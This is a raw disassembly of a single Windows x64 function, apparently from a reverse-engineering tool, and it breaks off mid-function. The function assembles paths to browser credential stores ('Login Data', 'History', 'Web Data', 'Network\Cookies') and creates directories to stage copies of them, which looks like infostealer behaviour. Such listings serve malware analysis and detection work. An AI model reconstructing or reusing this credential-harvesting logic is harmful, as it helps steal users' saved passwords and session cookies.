Function at 0x140014e10
Capabilities:
Create directory

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x458]
sub rsp, 0x558
mov rax, qword [0x1402dac00]
xor rax, rsp
mov qword [rbp + 0x440], rax
mov qword [rbp + 0x68], r9
mov rax, r8
mov qword [rbp - 0x10], rax
mov r8, rdx
mov qword [rbp + 0xa8], rdx
mov rdx, rcx
mov qword [rbp + 0xa0], rcx
mov qword [rbp + 0x118], rcx
mov qword [rbp + 0x120], r8
mov qword [rbp + 0x128], rax
mov qword [rbp + 0x130], r9
mov rdi, qword [rbp + 0x4c0]
mov qword [rbp], rdi
mov qword [rbp + 0x110], rdi
mov rax, qword [rbp + 0x4c8]
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0x138], rax
mov rcx, qword [rbp + 0x4d0]
mov qword [rbp - 8], rcx
mov rax, qword [rbp + 0x4d8]
mov qword [rbp + 0x60], rax
mov rsi, qword [rbp + 0x4e0]
mov qword [rbp + 0x18], rsi
mov qword [rbp + 0x140], rsi
mov rbx, qword [rbp + 0x4e8]
mov qword [rbp - 0x40], rbx
mov qword [rbp + 0x148], rbx
xor r14d, r14d
mov rcx, qword [rdx]
mov qword [rbp + 0x70], rcx
mov rax, qword [rdx + 8]
mov qword [rbp + 0xb8], rax
cmp rcx, rax
je 0x140016b58
movzx r15d, byte [rsp + 0x40]
movzx r12d, byte [rsp + 0x40]
movzx r13d, byte [rsp + 0x40]
movzx r14d, byte [rsp + 0x40]
movzx esi, byte [rsp + 0x40]
movzx ebx, byte [rsp + 0x40]
movzx edi, byte [rsp + 0x40]
nop
mov rdx, rcx
lea rcx, [rbp + 0x150]
call fcn.140033ec0
nop
mov rax, qword [rbp - 0x40]
cmp qword [rax + 0x18], 0xf
jbe 0x140014f47
mov r8, qword [rax]
add r8, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140014f4e
mov r8, qword [rax + 0x10]
add r8, rax
mov rdx, rax
lea rcx, [rbp + 0x420]
call fcn.14003a790
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xor eax, eax
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rax
mov r8d, 7
lea rdx, str._output
lea rcx, [rbp - 0x60]
call fcn.14003c280
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0x420]
lea rcx, [rbp + 0x220]
call fcn.14000b670
nop
lea rax, [rbp + 0x220]
cmp qword [rbp + 0x238], 7
cmova rax, qword [rbp + 0x220]
mov qword [rsp + 0x50], rax
mov rcx, qword [rbp]
mov rdx, qword [rcx + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rdx
cmp rax, 1
jb 0x140016c03
mov r9, rcx
cmp qword [rcx + 0x18], 0xf
jbe 0x140014fe5
mov r9, qword [rcx]
mov qword [rsp + 0x30], 1
lea rax, [0x140291dcc]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
mov r8, rcx
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp - 0x30]
call fcn.14003e940
nop
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rbp - 0x30]
call fcn.140033c40
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xor ecx, ecx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], rcx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov r8d, recv
lea rdx, str._Login_Data
lea rcx, [rsp + 0x58]
call fcn.140033c40
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x380], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x390], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rsp + 0x58]
call fcn.140036800
nop
lea rcx, [rbp - 0x30]
call fcn.140036800
mov rcx, qword [rbp]
mov rdx, qword [rcx + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rdx
cmp rax, 1
jb 0x140016c51
mov r9, rcx
cmp qword [rcx + 0x18], 0xf
jbe 0x1400150e7
mov r9, qword [rcx]
mov qword [rsp + 0x30], 1
lea rax, [0x140291dcc]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
mov r8, rcx
movzx edx, r15b
lea rcx, [rbp - 0x60]
call fcn.14003e940
nop
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rbp - 0x60]
call fcn.140033c40
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xor ecx, ecx
mov qword [rbp - 0x70], rcx
mov qword [rbp - 0x68], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov r8d, 8
lea rdx, str._History
lea rcx, [rbp - 0x80]
call fcn.140033c40
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x400], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x410], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rbp - 0x80]
call fcn.140036800
nop
lea rcx, [rbp - 0x60]
call fcn.140036800
mov rcx, qword [rbp]
mov rdx, qword [rcx + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rdx
cmp rax, 1
jb 0x140016c4b
mov r9, rcx
cmp qword [rcx + 0x18], 0xf
jbe 0x1400151e1
mov r9, qword [rcx]
mov qword [rsp + 0x30], 1
lea rax, [0x140291dcc]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
mov r8, rcx
movzx edx, r12b
lea rcx, [rbp - 0x30]
call fcn.14003e940
nop
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rbp - 0x30]
call fcn.140033c40
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xor ecx, ecx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], rcx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov r8d, 9
lea rdx, str._Web_Data
lea rcx, [rsp + 0x58]
call fcn.140033c40
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x360], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x370], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rsp + 0x58]
call fcn.140036800
nop
lea rcx, [rbp - 0x30]
call fcn.140036800
mov rcx, qword [rbp]
mov rdx, qword [rcx + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rdx
cmp rax, 1
jb 0x140016c45
mov r9, rcx
cmp qword [rcx + 0x18], 0xf
jbe 0x1400152e2
mov r9, qword [rcx]
mov qword [rsp + 0x30], 1
lea rax, [0x140291dcc]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
mov r8, rcx
movzx edx, r13b
lea rcx, [rbp + 0x40]
call fcn.14003e940
nop
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rbp + 0x40]
call fcn.140033c40
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xor ecx, ecx
mov qword [rbp - 0x70], rcx
mov qword [rbp - 0x68], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov r8d, 9
lea rdx, str._Web_Data
lea rcx, [rbp - 0x80]
call fcn.140033c40
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x340], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x350], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rbp - 0x80]
call fcn.140036800
nop
lea rcx, [rbp + 0x40]
call fcn.140036800
mov rcx, qword [rbp]
mov rdx, qword [rcx + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rdx
cmp rax, 1
jb 0x140016c3f
mov r9, rcx
cmp qword [rcx + 0x18], 0xf
jbe 0x1400153dc
mov r9, qword [rcx]
mov qword [rsp + 0x30], 1
lea rax, [0x140291dcc]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
mov r8, rcx
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x20]
call fcn.14003e940
nop
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rbp + 0x20]
call fcn.140033c40
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xor ecx, ecx
mov qword [rbp - 0x50], rcx
mov qword [rbp - 0x48], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str._network_cookies
lea rcx, [rbp - 0x60]
call fcn.140033c40
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x320], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x330], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rbp - 0x60]
call fcn.140036800
nop
lea rcx, [rbp + 0x20]
call fcn.140036800
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
xor eax, eax
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rax
mov r8, 0xffffffffffffffff
mov rax, qword [rbp - 8]
inc r8
cmp word [rax + r8*2], 0
jne 0x1400154d0
mov rdx, rax
lea rcx, [rbp + 0x80]
call fcn.14003bb80
nop
mov eax, dword [rbp + 0x90]
mov dword [rsp + 0x44], eax
lea rcx, [0x140291e08]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x48], eax
mov ecx, dword [rsp + 0x44]
inc ecx
add ecx, eax
movsxd rdx, ecx
mov eax, 2
mul rdx
mov r9, 0xffffffffffffffff
cmovb rax, r9
mov rcx, rax
call fcn.1401ec2c4
mov qword [rbp + 0x78], rax
lea r8, [rbp + 0x80]
cmp qword [rbp + 0x98], 7
cmova r8, qword [rbp + 0x80]
mov ecx, dword [rsp + 0x44]
inc ecx
movsxd rdx, ecx
mov rcx, rax
call fcn.1401fb6cc
mov ecx, dword [rsp + 0x48]
inc ecx
movsxd rdx, ecx
movsxd rcx, dword [rsp + 0x44]
mov rax, qword [rbp + 0x78]
lea rcx, [rax + rcx*2]
lea r8, [0x140291e08]
call fcn.1401fb6cc
nop
lea rcx, [rbp + 0x80]
call fcn.1400366f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
xor eax, eax
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rax
mov r8, 0xffffffffffffffff
mov rax, qword [rbp - 8]
inc r8
cmp word [rax + r8*2], 0
jne 0x1400155a3
mov rdx, rax
lea rcx, [rbp + 0x40]
call fcn.14003bb80
nop
mov eax, dword [rbp + 0x50]
mov dword [rsp + 0x44], eax
lea rcx, [0x140291e18]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x48], eax
mov ecx, dword [rsp + 0x44]
inc ecx
add ecx, eax
movsxd rdx, ecx
mov eax, 2
mul rdx
mov r9, 0xffffffffffffffff
cmovb rax, r9
mov rcx, rax
call fcn.1401ec2c4
mov qword [rbp + 8], rax
lea r8, [rbp + 0x40]
cmp qword [rbp + 0x58], 7
cmova r8, qword [rbp + 0x40]
mov ecx, dword [rsp + 0x44]
inc ecx
movsxd rdx, ecx
mov rcx, rax
call fcn.1401fb6cc
mov ecx, dword [rsp + 0x48]
inc ecx
movsxd rdx, ecx
movsxd rcx, dword [rsp + 0x44]
mov rax, qword [rbp + 8]
lea rcx, [rax + rcx*2]
lea r8, [0x140291e18]
call fcn.1401fb6cc
nop
lea rcx, [rbp + 0x40]
call fcn.1400366f0
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xor eax, eax
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rax
mov r8, 0xffffffffffffffff
mov rax, qword [rbp - 8]
inc r8
cmp word [rax + r8*2], 0
jne 0x140015664
mov rdx, rax
lea rcx, [rbp - 0x30]
call fcn.14003bb80
nop
mov eax, dword [rbp - 0x20]
mov dword [rsp + 0x44], eax
lea rcx, [0x140291e30]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x48], eax
mov ecx, dword [rsp + 0x44]
inc ecx
add ecx, eax
movsxd rdx, ecx
mov eax, 2
mul rdx
mov r9, 0xffffffffffffffff
cmovb rax, r9
mov rcx, rax
call fcn.1401ec2c4
mov qword [rbp + 0x10], rax
lea r8, [rbp - 0x30]
cmp qword [rbp - 0x18], 7
cmova r8, qword [rbp - 0x30]
mov ecx, dword [rsp + 0x44]
inc ecx
movsxd rdx, ecx
mov rcx, rax
call fcn.1401fb6cc
mov ecx, dword [rsp + 0x48]
inc ecx
movsxd rdx, ecx
movsxd rcx, dword [rsp + 0x44]
mov rax, qword [rbp + 0x10]
lea rcx, [rax + rcx*2]
lea r8, [0x140291e30]
call fcn.1401fb6cc
nop
lea rcx, [rbp - 0x30]
call fcn.1400366f0
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xor eax, eax
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], rax
mov r8, 0xffffffffffffffff
mov rax, qword [rbp - 8]
inc r8
cmp word [rax + r8*2], 0
jne 0x140015725
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.14003bb80
nop
mov eax, dword [rbp - 0x70]
mov dword [rsp + 0x44], eax
lea rcx, [0x140291e40]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x48], eax
mov ecx, dword [rsp + 0x44]
inc ecx
add ecx, eax
movsxd rdx, ecx
mov eax, 2
mul rdx
mov r9, 0xffffffffffffffff
cmovb rax, r9
mov rcx, rax
call fcn.1401ec2c4
mov qword [rbp - 0x38], rax
lea r8, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova r8, qword [rbp - 0x80]
mov ecx, dword [rsp + 0x44]
inc ecx
movsxd rdx, ecx
mov rcx, rax
call fcn.1401fb6cc
mov ecx, dword [rsp + 0x48]
inc ecx
movsxd rdx, ecx
movsxd rcx, dword [rsp + 0x44]
mov rax, qword [rbp - 0x38]
lea rcx, [rax + rcx*2]
lea r8, [0x140291e40]
call fcn.1401fb6cc
nop
lea rcx, [rbp - 0x80]
call fcn.1400366f0
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xor eax, eax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
mov r8, 0xffffffffffffffff
mov rax, qword [rbp - 8]
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1400157f0
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.14003bb80
nop
mov eax, dword [rsp + 0x68]
mov dword [rsp + 0x44], eax
lea rcx, [0x140291e58]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x48], eax
mov ecx, dword [rsp + 0x44]
inc ecx
add ecx, eax
movsxd rdx, ecx
mov eax, 2
mul rdx
mov r9, 0xffffffffffffffff
cmovb rax, r9
mov rcx, rax
call fcn.1401ec2c4
mov qword [rsp + 0x78], rax
lea r8, [rsp + 0x58]
cmp qword [rsp + 0x70], 7
cmova r8, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x44]
inc ecx
movsxd rdx, ecx
mov rcx, rax
call fcn.1401fb6cc
mov ecx, dword [rsp + 0x48]
inc ecx
movsxd rdx, ecx
movsxd rcx, dword [rsp + 0x44]
mov rax, qword [rsp + 0x78]
lea rcx, [rax + rcx*2]
lea r8, [0x140291e58]
call fcn.1401fb6cc
nop
lea rcx, [rsp + 0x58]
call fcn.1400366f0
xor edx, edx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x1400158b4
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
mov rcx, qword [rbp - 8]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x1400158ca
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x1400158e0
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x1400158f6
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x14001590c
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140015922
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140015939
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea r8, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova r8, qword [rbp + 0x150]
add r8, qword [rbp + 0x160]
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
lea rcx, [rbp + 0x170]
call fcn.14003a790
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xor eax, eax
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], rax
mov r8, 0xffffffffffffffff
mov rax, qword [rbp - 8]
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1400159a0
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.14003bb80
nop
mov r8d, 1
lea rdx, [0x140291e70]
lea rcx, [rbp - 0x80]
call fcn.140033910
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xor ecx, ecx
mov qword [rbp - 0x50], rcx
mov qword [rbp - 0x48], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], 7
mov word [rax], cx
lea rdx, [rbp + 0x170]
cmp qword [rbp + 0x188], 7
cmova rdx, qword [rbp + 0x170]
mov r8, qword [rbp + 0x180]
lea rcx, [rbp - 0x60]
call fcn.140033910
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x3e0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x3f0], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], 7
mov word [rax], cx
lea rcx, [rbp - 0x60]
call fcn.1400366f0
nop
lea rcx, [rbp - 0x80]
call fcn.1400366f0
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xor eax, eax
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rax
mov r8, 0xffffffffffffffff
mov rax, qword [rbp - 8]
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140015a80
mov rdx, rax
lea rcx, [rbp - 0x30]
call fcn.14003bb80
nop
mov r8d, 1
lea rdx, [0x140291e70]
lea rcx, [rbp - 0x30]
call fcn.140033910
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xor ecx, ecx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], rcx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], 7
mov word [rax], cx
lea rdx, [rbp + 0x170]
cmp qword [rbp + 0x188], 7
cmova rdx, qword [rbp + 0x170]
mov r8, qword [rbp + 0x180]
lea rcx, [rsp + 0x58]
call fcn.140033910
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x3c0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x3d0], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], 7
mov word [rax], cx
lea rcx, [rsp + 0x58]
call fcn.1400366f0
nop
lea rcx, [rbp - 0x30]
call fcn.1400366f0
mov rdx, qword [rbp + 0x68]
mov rcx, qword [rbp + 0x60]
call fcn.140014550
mov qword [rsp + 0x50], rax
xor ecx, ecx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rcx
mov r9, 0xffffffffffffffff
mov r8, rax
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [rsp + 0x48], eax
movsxd rdx, eax
xor r8d, r8d
lea rcx, [rbp + 0x200]
call fcn.140033d70
lea rcx, [rbp + 0x200]
cmp qword [rbp + 0x218], 0xf
cmova rcx, qword [rbp + 0x200]
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9, 0xffffffffffffffff
mov r8, qword [rsp + 0x50]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
nop
xor edx, edx
mov rcx, qword [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140015bf8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rax, qword [rbp - 0x40]
mov r8, qword [rax + 0x10]
mov rdx, qword [rbp - 0x10]
mov r10, qword [rdx + 0x10]
movabs rcx, 0x7fffffffffffffff
sub rcx, r8
cmp rcx, r10
jb 0x140016c39
mov r9, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140015c2b
mov r9, qword [rax]
mov rcx, rdx
cmp qword [rdx + 0x18], 0xf
jbe 0x140015c38
mov rcx, qword [rdx]
mov qword [rsp + 0x30], r10
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r8
mov r8, rax
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x20]
call fcn.14003e940
nop
mov r8d, 1
lea rdx, [0x140291dcc]
lea rcx, [rbp + 0x20]
call fcn.140033c40
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xor ecx, ecx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], rcx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rsp + 0x58]
call fcn.140033c40
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xor ecx, ecx
mov qword [rbp - 0x50], rcx
mov qword [rbp - 0x48], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov r8d, 0xa
lea rdx, str._logindata
lea rcx, [rbp - 0x60]
call fcn.140033c40
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x300], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x310], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rbp - 0x60]
call fcn.140036800
nop
lea rcx, [rsp + 0x58]
call fcn.140036800
nop
lea rcx, [rbp + 0x20]
call fcn.140036800
lea rdx, [rbp + 0x170]
mov rcx, qword [rbp + 0x60]
call fcn.140014550
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140015d76
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rax, qword [rbp - 0x40]
mov r8, qword [rax + 0x10]
mov rdx, qword [rbp - 0x10]
mov r10, qword [rdx + 0x10]
movabs rcx, 0x7fffffffffffffff
sub rcx, r8
cmp rcx, r10
jb 0x140016c33
mov r9, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140015da9
mov r9, qword [rax]
mov rcx, rdx
cmp qword [rdx + 0x18], 0xf
jbe 0x140015db6
mov rcx, qword [rdx]
mov qword [rsp + 0x30], r10
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r8
mov r8, rax
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x40]
call fcn.14003e940
nop
mov r8d, 1
lea rdx, [0x140291dcc]
lea rcx, [rbp + 0x40]
call fcn.140033c40
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xor ecx, ecx
mov qword [rbp - 0x20], rcx
mov qword [rbp - 0x18], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rbp - 0x30]
call fcn.140033c40
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xor ecx, ecx
mov qword [rbp - 0x70], rcx
mov qword [rbp - 0x68], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov r8d, 8
lea rdx, str._webdata
lea rcx, [rbp - 0x80]
call fcn.140033c40
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
xor ecx, ecx
mov qword [rbp + 0x1f0], rcx
mov qword [rbp + 0x1f8], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1e0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1f0], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rbp - 0x80]
call fcn.140036800
nop
lea rcx, [rbp - 0x30]
call fcn.140036800
nop
lea rcx, [rbp + 0x40]
call fcn.140036800
mov rax, qword [rbp - 0x40]
mov r8, qword [rax + 0x10]
mov rdx, qword [rbp - 0x10]
mov r10, qword [rdx + 0x10]
movabs rcx, 0x7fffffffffffffff
sub rcx, r8
cmp rcx, r10
jb 0x140016c2d
mov r9, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140015f13
mov r9, qword [rax]
mov rcx, rdx
cmp qword [rdx + 0x18], 0xf
jbe 0x140015f20
mov rcx, qword [rdx]
mov qword [rsp + 0x30], r10
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r8
mov r8, rax
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x20]
call fcn.14003e940
nop
mov r8d, 1
lea rdx, [0x140291dcc]
lea rcx, [rbp + 0x20]
call fcn.140033c40
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xor ecx, ecx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], rcx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rdx, [rbp + 0x150]
